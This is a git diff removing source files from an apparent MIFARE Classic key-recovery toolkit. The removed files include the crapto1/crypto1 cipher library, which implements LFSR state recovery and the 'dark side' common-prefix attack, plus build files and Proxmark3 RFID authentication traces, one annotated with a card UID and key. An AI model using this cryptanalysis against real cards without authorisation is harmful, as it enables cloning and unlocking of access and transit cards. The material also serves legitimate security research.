--- a/src/Makefile.am +++ /dev/null @@ -1,9 +0,0 @@ -AM_CFLAGS = @LIBNFC_CFLAGS@ -AM_LDFLAGS = @LIBNFC_LIBS@ - -bin_PROGRAMS = mfcuk - -noinst_HEADERS = crapto1.h mifare.h nfc-utils.h mfcuk_mifare.h mfcuk_finger.h mfcuk_utils.h xgetopt.h mfcuk.h -mfcuk_SOURCES = crapto1.c crypto1.c mifare.c nfc-utils.c mfcuk_mifare.c mfcuk_finger.c mfcuk_utils.c xgetopt.c mfcuk.c - -# dist_man_MANS = mfcuk.1 diff --git a/src/build_cygwin.sh b/src/build_cygwin.sh deleted file mode 100644 index e45da7e..0000000 --- a/src/build_cygwin.sh +++ /dev/null @@ -1,6 +0,0 @@ -MAIN_FILE=mfcuk_keyrecovery_darkside -LIBNFC=libnfc -CFLAGS=`pkg-config --cflags ${LIBNFC}` -CFLAGS_LIBNFC=`pkg-config --cflags libnfc | cut -d ' ' -f 1`/${LIBNFC} - -gcc ./${MAIN_FILE}.c ./mfcuk_mifare.c ./mfcuk_utils.c ./mfcuk_finger.c ./crapto1.c ./crypto1.c ./bin/libnfc.lib ${CFLAGS} ${CFLAGS_LIBNFC} -o ./bin/${MAIN_FILE}_cygwin.exe diff --git a/src/crapto1.c b/src/crapto1.c deleted file mode 100644 index ab599a6..0000000 --- a/src/crapto1.c +++ /dev/null @@ -1,487 +0,0 @@ -/* crapto1.c - - This program is free software; you can redistribute it and/or - modify it under the terms of the GNU General Public License - as published by the Free Software Foundation; either version 2 - of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, - Boston, MA 02110-1301, US$ - - Copyright (C) 2008-2008 bla -*/ -#include "crapto1.h" -#include - -#if !defined LOWMEM && defined __GNUC__ -static uint8_t filterlut[1 << 20]; -static void __attribute__((constructor)) fill_lut() -{ - uint32_t i; - for(i = 0; i < 1 << 20; ++i) - filterlut[i] = filter(i); -} -#define filter(x) (filterlut[(x) & 0xfffff]) -#endif - -static void quicksort(uint32_t* const start, uint32_t* const stop) -{ - uint32_t *it = start + 1, *rit = stop; - - if(it > rit) - return; - - while(it < rit) - if(*it <= *start) - ++it; - else if(*rit > *start) - --rit; - else - *it ^= (*it ^= *rit, *rit ^= *it); - - if(*rit >= *start) - --rit; - if(rit != start) - *rit ^= (*rit ^= *start, *start ^= *rit); - - quicksort(start, rit - 1); - quicksort(rit + 1, stop); -} -/** binsearch - * Binary search for the first occurence of *stop's MSB in sorted [start,stop] - */ -static inline uint32_t* -binsearch(uint32_t *start, uint32_t *stop) -{ - uint32_t mid, val = *stop & 0xff000000; - while(start != stop) - if(start[mid = (stop - start) >> 1] > val) - stop = &start[mid]; - else - start += mid + 1; - - return start; -} - -/** update_contribution - * helper, calculates the partial linear feedback contributions and puts in MSB - */ -static inline void -update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) -{ - uint32_t p = *item >> 25; - - p = p << 1 | parity(*item & mask1); - p = p << 1 | parity(*item & mask2); - *item = p << 24 | (*item & 0xffffff); -} - -/** extend_table - * using a bit of the keystream extend the table of possible lfsr states - */ -static inline void -extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in) -{ - in <<= 24; - for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) - if(filter(*tbl) ^ filter(*tbl | 1)) { - *tbl |= filter(*tbl) ^ bit; - update_contribution(tbl, m1, m2); - *tbl ^= in; - } else if(filter(*tbl) == bit) { - *++*end = tbl[1]; - tbl[1] = tbl[0] | 1; - update_contribution(tbl, m1, m2); - *tbl++ ^= in; - update_contribution(tbl, m1, m2); - *tbl ^= in; - } else - *tbl-- = *(*end)--; -} -/** extend_table_simple - * using a bit of the keystream extend the table of possible lfsr states - */ -static inline void -extend_table_simple(uint32_t *tbl, uint32_t **end, int bit) -{ - for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) - if(filter(*tbl) ^ filter(*tbl | 1)) { - *tbl |= filter(*tbl) ^ bit; - } else if(filter(*tbl) == bit) { - *++*end = *++tbl; - *tbl = tbl[-1] | 1; - } else - *tbl-- = *(*end)--; -} -/** recover - * recursively narrow down the search space, 4 bits of keystream at a time - */ -static struct Crypto1State* -recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks, - uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem, - struct Crypto1State *sl, uint32_t in) -{ - uint32_t *o, *e, i; - - if(rem == -1) { - for(e = e_head; e <= e_tail; ++e) { - *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4); - for(o = o_head; o <= o_tail; ++o, ++sl) { - sl->even = *o; - sl->odd = *e ^ parity(*o & LF_POLY_ODD); - sl[1].odd = sl[1].even = 0; - } - } - return sl; - } - - for(i = 0; i < 4 && rem--; i++) { - extend_table(o_head, &o_tail, (oks >>= 1) & 1, - LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0); - if(o_head > o_tail) - return sl; - - extend_table(e_head, &e_tail, (eks >>= 1) & 1, - LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3); - if(e_head > e_tail) - return sl; - } - - quicksort(o_head, o_tail); - quicksort(e_head, e_tail); - - while(o_tail >= o_head && e_tail >= e_head) - if(((*o_tail ^ *e_tail) >> 24) == 0) { - o_tail = binsearch(o_head, o = o_tail); - e_tail = binsearch(e_head, e = e_tail); - sl = recover(o_tail--, o, oks, - e_tail--, e, eks, rem, sl, in); - } - else if(*o_tail > *e_tail) - o_tail = binsearch(o_head, o_tail) - 1; - else - e_tail = binsearch(e_head, e_tail) - 1; - - return sl; -} -/** lfsr_recovery - * recover the state of the lfsr given 32 bits of the keystream - * additionally you can use the in parameter to specify the value - * that was fed into the lfsr at the time the keystream was generated - */ -struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in) -{ - struct Crypto1State *statelist; - uint32_t *odd_head = 0, *odd_tail = 0, oks = 0; - uint32_t *even_head = 0, *even_tail = 0, eks = 0; - int i; - - for(i = 31; i >= 0; i -= 2) - oks = oks << 1 | BEBIT(ks2, i); - for(i = 30; i >= 0; i -= 2) - eks = eks << 1 | BEBIT(ks2, i); - - odd_head = odd_tail = malloc(sizeof(uint32_t) << 21); - even_head = even_tail = malloc(sizeof(uint32_t) << 21); - statelist = malloc(sizeof(struct Crypto1State) << 18); - if(!odd_tail-- || !even_tail-- || !statelist) - goto out; - - statelist->odd = statelist->even = 0; - - for(i = 1 << 20; i >= 0; --i) { - if(filter(i) == (oks & 1)) - *++odd_tail = i; - if(filter(i) == (eks & 1)) - *++even_tail = i; - } - - for(i = 0; i < 4; i++) { - extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1); - extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1); - } - - in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00); - recover(odd_head, odd_tail, oks, - even_head, even_tail, eks, 11, statelist, in << 1); - -out: - free(odd_head); - free(even_head); - return statelist; -} - -static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214, - 0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83, - 0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA}; -static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60, - 0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8, - 0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20, - 0x7EC7EE90, 0x7F63F748, 0x79117020}; -static const uint32_t T1[] = { - 0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66, - 0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B, - 0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615, - 0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C}; -static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0, - 0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268, - 0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0, - 0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0, - 0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950, - 0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0}; -static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD}; -static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0}; -/** Reverse 64 bits of keystream into possible cipher states - * Variation mentioned in the paper. Somewhat optimized version - */ -struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3) -{ - struct Crypto1State *statelist, *sl; - uint8_t oks[32], eks[32], hi[32]; - uint32_t low = 0, win = 0; - uint32_t *tail, table[1 << 16]; - int i, j; - - sl = statelist = malloc(sizeof(struct Crypto1State) << 4); - if(!sl) - return 0; - sl->odd = sl->even = 0; - - for(i = 30; i >= 0; i -= 2) { - oks[i >> 1] = BIT(ks2, i ^ 24); - oks[16 + (i >> 1)] = BIT(ks3, i ^ 24); - } - for(i = 31; i >= 0; i -= 2) { - eks[i >> 1] = BIT(ks2, i ^ 24); - eks[16 + (i >> 1)] = BIT(ks3, i ^ 24); - } - - for(i = 0xfffff; i >= 0; --i) { - if (filter(i) != oks[0]) - continue; - - *(tail = table) = i; - for(j = 1; tail >= table && j < 29; ++j) - extend_table_simple(table, &tail, oks[j]); - - if(tail < table) - continue; - - for(j = 0; j < 19; ++j) - low = low << 1 | parity(i & S1[j]); - for(j = 0; j < 32; ++j) - hi[j] = parity(i & T1[j]); - - for(; tail >= table; --tail) { - for(j = 0; j < 3; ++j) { - *tail = *tail << 1; - *tail |= parity((i & C1[j]) ^ (*tail & C2[j])); - if(filter(*tail) != oks[29 + j]) - goto continue2; - } - - for(j = 0; j < 19; ++j) - win = win << 1 | parity(*tail & S2[j]); - - win ^= low; - for(j = 0; j < 32; ++j) { - win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]); - if(filter(win) != eks[j]) - goto continue2; - } - - *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail); - sl->odd = *tail ^ parity(LF_POLY_ODD & win); - sl->even = win; - ++sl; - sl->odd = sl->even = 0; - continue2:; - } - } - return statelist; -} - -/** lfsr_rollback_bit - * Rollback the shift register in order to get previous states - */ -uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb) -{ - int out; - uint8_t ret; - - s->odd &= 0xffffff; - s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); - - out = s->even & 1; - out ^= LF_POLY_EVEN & (s->even >>= 1); - out ^= LF_POLY_ODD & s->odd; - out ^= !!in; - out ^= (ret = filter(s->odd)) & !!fb; - - s->even |= parity(out) << 23; - return ret; -} -/** lfsr_rollback_byte - * Rollback the shift register in order to get previous states - */ -uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb) -{ - int i; - uint8_t ret = 0; - for (i = 7; i >= 0; --i) - ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i; - return ret; -} -/** lfsr_rollback_word - * Rollback the shift register in order to get previous states - */ -uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) -{ - int i; - uint32_t ret = 0; - for (i = 31; i >= 0; --i) - ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24); - return ret; -} - -/** nonce_distance - * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y - */ -static uint16_t *dist = 0; -int nonce_distance(uint32_t from, uint32_t to) -{ - uint16_t x, i; - if(!dist) { - dist = malloc(2 << 16); - if(!dist) - return -1; - for (x = i = 1; i; ++i) { - dist[(x & 0xff) << 8 | x >> 8] = i; - x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; - } - } - return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535; -} - - -static uint32_t fastfwd[2][8] = { - { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB}, - { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}}; - - -/** lfsr_prefix_ks - * - * Is an exported helper function from the common prefix attack - * Described in the "dark side" paper. It returns an -1 terminated array - * of possible partial(21 bit) secret state. - * The required keystream(ks) needs to contain the keystream that was used to - * encrypt the NACK which is observed when varying only the 4 last bits of Nr - * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3 - */ -uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd) -{ - uint32_t c, entry, *candidates = malloc(4 << 21); - int i, size = (1 << 21) - 1; - - if(!candidates) - return 0; - - for(i = 0; i <= size; ++i) - candidates[i] = i; - - for(c = 0; c < 8; ++c) - for(i = 0;i <= size; ++i) { - entry = candidates[i] ^ fastfwd[isodd][c]; - - if(filter(entry >> 1) != BIT(ks[c], isodd) || - filter(entry) != BIT(ks[c], isodd + 2)) - candidates[i--] = candidates[size--]; - } - - candidates[size + 1] = -1; - - return candidates; -} - -/** check_pfx_parity - * helper function which eliminates possible secret states using parity bits - */ -static struct Crypto1State* -check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8], - uint32_t odd, uint32_t even, struct Crypto1State* sl) -{ - uint32_t ks1, nr, ks2, rr, ks3, c, good = 1; - - for(c = 0; good && c < 8; ++c) { - sl->odd = odd ^ fastfwd[1][c]; - sl->even = even ^ fastfwd[0][c]; - - lfsr_rollback_bit(sl, 0, 0); - lfsr_rollback_bit(sl, 0, 0); - - ks3 = lfsr_rollback_bit(sl, 0, 0); - ks2 = lfsr_rollback_word(sl, 0, 0); - ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1); - - nr = ks1 ^ (prefix | c << 5); - rr = ks2 ^ rresp; - - good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24); - good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16); - good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8); - good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0); - good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3; - } - - return sl + good; -} - - -/** lfsr_common_prefix - * Implentation of the common prefix attack. - * Requires the 29 bit constant prefix used as reader nonce (pfx) - * The reader response used (rr) - * The keystream used to encrypt the observed NACK's (ks) - * The parity bits (par) - * It returns a zero terminated list of possible cipher states after the - * tag nonce was fed in - */ -struct Crypto1State* -lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]) -{ - struct Crypto1State *statelist, *s; - uint32_t *odd, *even, *o, *e, top; - - odd = lfsr_prefix_ks(ks, 1); - even = lfsr_prefix_ks(ks, 0); - - s = statelist = malloc((sizeof *statelist) << 20); - if(!s || !odd || !even) { - free(odd); - free(even); - free(statelist); - return 0; - } - - for(o = odd; *o + 1; ++o) - for(e = even; *e + 1; ++e) - for(top = 0; top < 64; ++top) { - *o += 1 << 21; - *e += (!(top & 7) + 1) << 21; - s = check_pfx_parity(pfx, rr, par, *o, *e, s); - } - - s->odd = s->even = 0; - - free(odd); - free(even); - - return statelist; -} diff --git a/src/crapto1.h b/src/crapto1.h deleted file mode 100644 index 93a689b..0000000 --- a/src/crapto1.h +++ /dev/null @@ -1,90 +0,0 @@ -/* crapto1.h - - This program is free software; you can redistribute it and/or - modify it under the terms of the GNU General Public License - as published by the Free Software Foundation; either version 2 - of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, - MA 02110-1301, US$ - - Copyright (C) 2008-2009 bla -*/ -#ifndef CRAPTO1_INCLUDED -#define CRAPTO1_INCLUDED -#include -#ifdef __cplusplus -extern "C" { -#endif - -struct Crypto1State {uint32_t odd, even;}; -struct Crypto1State* crypto1_create(uint64_t); -void crypto1_destroy(struct Crypto1State*); -void crypto1_get_lfsr(struct Crypto1State*, uint64_t*); -uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int); -uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int); -uint32_t crypto1_word(struct Crypto1State*, uint32_t, int); -uint32_t prng_successor(uint32_t x, uint32_t n); - -struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in); -struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3); - -void lfsr_rollback(struct Crypto1State* s, uint32_t in, int fb); -int nonce_distance(uint32_t from, uint32_t to); -#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\ - uint32_t __n = 0,__M = 0, N = 0;\ - int __i;\ - for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\ - for(__i = FSIZE - 1; __i >= 0; __i--)\ - if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\ - break;\ - else if(__i)\ - __M = prng_successor(__M, (__i == 7) ? 48 : 8);\ - else - -#define LF_POLY_ODD (0x29CE5C) -#define LF_POLY_EVEN (0x870804) -#define BIT(x, n) ((x) >> (n) & 1) -#define BEBIT(x, n) BIT(x, (n) ^ 24) -static inline int parity(uint32_t x) -{ -#if !defined __i386__ || !defined __GNUC__ - x ^= x >> 16; - x ^= x >> 8; - x ^= x >> 4; - return BIT(0x6996, x & 0xf); -#else - __asm__( - "movl %1, %%eax\n" - "mov %%ax, %%cx\n" - "shrl $0x10, %%eax\n" - "xor %%ax, %%cx\n" - "xor %%ch, %%cl\n" - "setpo %%al\n" - "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx" - ); - return x; -#endif -} -static inline int filter(uint32_t const x) -{ - uint32_t f; - - f = 0xf22c0 >> (x & 0xf) & 16; - f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; - f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; - f |= 0x1e458 >> (x >> 12 & 0xf) & 2; - f |= 0x0d938 >> (x >> 16 & 0xf) & 1; - return BIT(0xEC57E80A, f); -} -#ifdef __cplusplus -} -#endif -#endif diff --git a/src/crypto1.c b/src/crypto1.c deleted file mode 100644 index e2aab71..0000000 --- a/src/crypto1.c +++ /dev/null @@ -1,93 +0,0 @@ -/* crypto1.c - - This program is free software; you can redistribute it and/or - modify it under the terms of the GNU General Public License - as published by the Free Software Foundation; either version 2 - of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, - MA 02110-1301, US - - Copyright (C) 2008-2008 bla -*/ -#include "crapto1.h" -#include - -#define SWAPENDIAN(x)\ - (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) - -struct Crypto1State * crypto1_create(uint64_t key) -{ - struct Crypto1State *s = malloc(sizeof(*s)); - int i; - - for(i = 47;s && i > 0; i -= 2) { - s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); - s->even = s->even << 1 | BIT(key, i ^ 7); - } - return s; -} -void crypto1_destroy(struct Crypto1State *state) -{ - free(state); -} -void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) -{ - int i; - for(*lfsr = 0, i = 23; i >= 0; --i) { - *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); - *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); - } -} -uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) -{ - uint32_t feedin; - uint8_t ret = filter(s->odd); - - feedin = ret & !!is_encrypted; - feedin ^= !!in; - feedin ^= LF_POLY_ODD & s->odd; - feedin ^= LF_POLY_EVEN & s->even; - s->even = s->even << 1 | parity(feedin); - - s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); - - return ret; -} -uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) -{ - uint8_t i, ret = 0; - - for (i = 0; i < 8; ++i) - ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; - - return ret; -} -uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) -{ - uint32_t i, ret = 0; - - for (i = 0; i < 32; ++i) - ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24); - - return ret; -} - -/* prng_successor - * helper used to obscure the keystream during authentication - */ -uint32_t prng_successor(uint32_t x, uint32_t n) -{ - SWAPENDIAN(x); - while(n--) - x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; - - return SWAPENDIAN(x); -} diff --git a/src/data/logs_proxmark3/trace1.txt b/src/data/logs_proxmark3/trace1.txt deleted file mode 100644 index b5240bf..0000000 --- a/src/data/logs_proxmark3/trace1.txt +++ /dev/null @@ -1,51 +0,0 @@ - + 561882: 1 : 26 - + 64: 2 : TAG 04 00 - + 10217: 2 : 93 20 - + 64: 5 : TAG 9c 59 9b 32 6c - + 12313: 9 : 93 70 9c 59 9b 32 6c 6b 30 - + 64: 3 : TAG 08 b6 dd - + 923318: 4 : 60 00 f5 7b - + 112: 4 : TAG 82 a4 16 6c - + 6985: 8 : a1 e4! 58 ce! 6e ea! 41 e0! !crc - + 64: 4 : TAG 5c! ad f4 39! - + 811513: 4 : 8e 0e! 5d! b9 !crc - + 112: 4 : TAG 5a! 92 0d! 85! - + 6946: 8 : 98! d7 6b! 77 d6 c6 e8 70 !crc - + 64: 4 : TAG ca 7e! 0b! 63! - + 670868: 4 : 3e! 70 9c! 8a !crc - + 112: 4 : TAG 36! 41 24! 79 - + 9505: 8 : 1b! 8c 3a! 48! 83 5a 4a! 27 !crc - + 64: 4 : TAG 40! 6a! 99! 4b - + 905612: 4 : c9 7c 64! 13! !crc - + 112: 4 : TAG b5! ab! 1d! 2b - + 6936: 8 : 7e! d2 5c! ca! 4b! 50! 88! c4 !crc - + 64: 4 : TAG bf dd 01 be! - + 987853: 4 : 56 98 49 d6! !crc - + 72: 18 : TAG 09 bf! f5! f6! fc! b9! 5e! 51! 07 ac f6 72 f8 73 3b! 1b 73! ad! !crc - + 94864: 4 : 5c! 7b 24! 02 !crc - + 72: 18 : TAG a0 1f! 0b! b7 0d! ba c9 e7! fa! 36! 47 d2 a0! 01! 40! 87 ff 95! !crc - + 94827: 4 : c9 90 dc! a3 !crc - + 72: 18 : TAG df b8! 7a bc! 17! 99 82! 5c 55 d5! 98! 68 8b f8 e7 89 dc 42! !crc - + 99081: 4 : 9f! d5 0f! d8! !crc - + 72: 18 : TAG ca! 40 fa! 34 82 cc 3e de 1f! 7f f7! f0 62! 18! 77! 34 30 07 !crc - + 93995: 4 : ad 7f! 3e 0c! !crc - + 72: 18 : TAG f4! 2b 17! 4c a2! 5a 0c! a0! d8 03! 05 cc cc 4c 1f 12! 0c! 78! !crc - + 94857: 4 : f1! b4 f0 3b! !crc - + 72: 18 : TAG 8f da ca 17! 42 8e 24 c9! 8e fb! 38! aa! 39 e2! dd dd! a8 a6 !crc - + 94850: 4 : c4 03! 7b! 9a !crc - + 72: 18 : TAG 9f! 42! 42 49! cd d1! 3d! fd 8e 8f d3 8d! d5! ca! ef! 15 84 c9! !crc - + 93961: 4 : 33! 3b! ae 0a! !crc - + 72: 18 : TAG 74 ed! 58 46! e7 cc 48 d1! 5a 4b b0! 3a! c1 79! 8a! bf! e7! 42 !crc - + 93193: 4 : f6 ec! 36 91! !crc - + 72: 18 : TAG 79! 63 89! 21! 24 1e 3e! 03! a8! c3! 9b 95! a1 ad! 6c! 34 52 94 !crc - + 94866: 4 : ad! 5c! 47 c5! !crc - + 72: 18 : TAG 68 d4 9d c2! 2b 18 46! f7 e8! 28 ea 03 a4 df d5! 9f 23 00! !crc - + 93994: 4 : 41 4c! 40! 11 !crc - + 72: 18 : TAG b1 95 17! 84! ac fc! 31 b8! 02 40 97! ec! 4c 19 6f e9 f0! 8c! !crc - + 94818: 4 : b8! b5! 5c! 74! !crc - + 72: 18 : TAG c6 03 b9 92! 7d! eb! 13 8a 56 b7 9c 7c 07 3d! 6a 95! 7e! 44 !crc - -# http://www.proxmark.org/forum/post/550/#p550 -# UID = 0x9c599b32 -# KEY = 0xffffffffffff -# 0x9c599b32 0x82a4166c 0xa1e458ce 0x6eea41e0 0x5cadf439 diff --git a/src/data/logs_proxmark3/trace2.txt b/src/data/logs_proxmark3/trace2.txt deleted file mode 100644 index 4eb6dd2..0000000 --- a/src/data/logs_proxmark3/trace2.txt +++ /dev/null @@ -1,124 +0,0 @@ - + 0: 0: TAG 00! - + 337281: : 30 00 02 a8 - + 5032: : 50 00 57 cd - + 9952: : 52 - + 141825: : 30 00 02 a8 - + 5040: : 50 00 57 cd - + 10528: : 52 - + 7624: : 93 20 - + 64: 0: TAG ca fd ca 13 ee - + 10656: : 93 70 ca fd ca 13 ee 8e ea - + 64: 0: TAG 08 b6 dd - + 89345: : 30 00 02 a8 - + 72: 0: TAG 04 - + 4976: : 50 00 57 cd - + 9952: : 52 - + 64: 0: TAG 04 00 - + 7720: : 93 20 - + 64: 0: TAG ca fd ca 13 ee - + 14120: : 93 70 ca fd ca 13 ee 8e ea - + 64: 0: TAG 08 b6 dd - + 105352: : 30 00 02 a8 - + 72: 0: TAG 04 - + 21952: : 50 00 57 cd - + 9944: : 52 - + 64: 0: TAG 04 00 - + 14448: : 93 20 - + 64: 0: TAG ca fd ca 13 ee - + 10736: : 93 70 ca fd ca 13 ee 8e ea - + 64: 0: TAG 08 b6 dd - + 124904: : 30 00 02 a8 - + 72: 0: TAG 04 - + 4968: : 50 00 57 cd - + 10346: : 52 - + 64: 0: TAG 04 00 - + 7272: : 93 20 - + 64: 0: TAG ca fd ca 13 ee - + 13240: : 93 70 ca fd ca 13 ee 8e ea - + 64: 0: TAG 08 b6 dd - + 89320: : 30 00 02 a8 - + 72: 0: TAG 04 - + 5000: : 50 00 57 cd - + 10784: : 52 - + 64: 0: TAG 04 00 - + 7680: : 93 20 - + 64: 0: TAG ca fd ca 13 ee - + 11560: : 93 70 ca fd ca 13 ee 8e ea - + 64: 0: TAG 08 b6 dd - + 89305: : 30 00 02 a8 - + 72: 0: TAG 04 - + 4960: : 50 00 57 cd - + 10040: : 52 - + 64: 0: TAG 04 00 - + 43208: : 93 20 - + 64: 0: TAG ca fd ca 13 ee - + 10696: : 93 70 ca fd ca 13 ee 8e ea - + 64: 0: TAG 08 b6 dd - + 89305: : 30 00 02 a8 - + 72: 0: TAG 04 - + 4984: : 50 00 57 cd - + 10824: : 52 - + 64: 0: TAG 04 00 - + 9352: : 93 20 - + 64: 0: TAG ca fd ca 13 ee - + 10680: : 93 70 ca fd ca 13 ee 8e ea - + 64: 0: TAG 08 b6 dd - + 90184: : 30 00 02 a8 - + 72: 0: TAG 04 - + 4984: : 50 00 57 cd - + 9944: : 52 - + 64: 0: TAG 04 00 - + 102224: : 93 20 - + 64: 0: TAG ca fd ca 13 ee - + 939902: : 93 70 ca fd ca 13 ee 8e ea - + 64: 0: TAG 08 b6 dd - + 752874: : 60 00 f5 7b - + 112: 0: TAG e9 01 a1 69 - + 10352: : 71 03 4a be f9 2f 51 2f !crc - + 64: 0: TAG 99 25! ef! 9d! - + 864094: : dc 9f f9 65 !crc - + 72: 0: TAG e5 82 07 a2! e1 ea c5 cd 14 85! aa! 97! 58! 17 0e b5 ab! ff !crc - + 312194: : 4b de 1d e9 !crc - + 72: 0: TAG 04 0a! 1c! ad 54! 3e ed 03! 60! 82 42 e4 da! 83! 98! 22 14! f2 !crc - + 290616: : cc 06 39 d7 !crc - + 72: 0: TAG 0a a3 f1 86 34 8f 9d! 1f! 4d! 7e! f1! 56 8e 9f ee 32! 88 89 !crc - + 204658: : 80 f4 eb 55 !crc - + 72: 0: TAG 9d 6e 88 db! fc 88 14! fa af dd 10! cc 74 81! 71 52 fd! d9 !crc - + 543394: : 26 f0 ea aa !crc - + 72: 0: TAG d5! a1! ed 8d 73! fe! 3e 94 56 db! 39! ad! dc! ff 9c! a3 f2 24! !crc - + 299722: : 56 00 9a 4d !crc - + 72: 0: TAG 58! cf 13 c4 78 50! 0f! b8 73 1c 33! 25 23 12 1e a2! 4a 32! !crc - + 215834: : db a2 ec 42 !crc - + 72: 0: TAG 78 3f! 30! 02 64 85 63! fe! 81! 9e 27 70 f7 cc b0 77 ce! 4b !crc - + 97112: : a5 78 3e 3d !crc - + 72: 0: TAG ef! fd! 47! 36 e5 c3! c1 96 c5 97 7b! 3d! ce! ab! 6e! 5e bd 8b !crc - + 87752: : a1 9b 41 09 !crc - + 72: 0: TAG e5! e1! 28 7d! ee ae! 60 d7 29 96! d7! a1! 6e 4e da! 66! 93 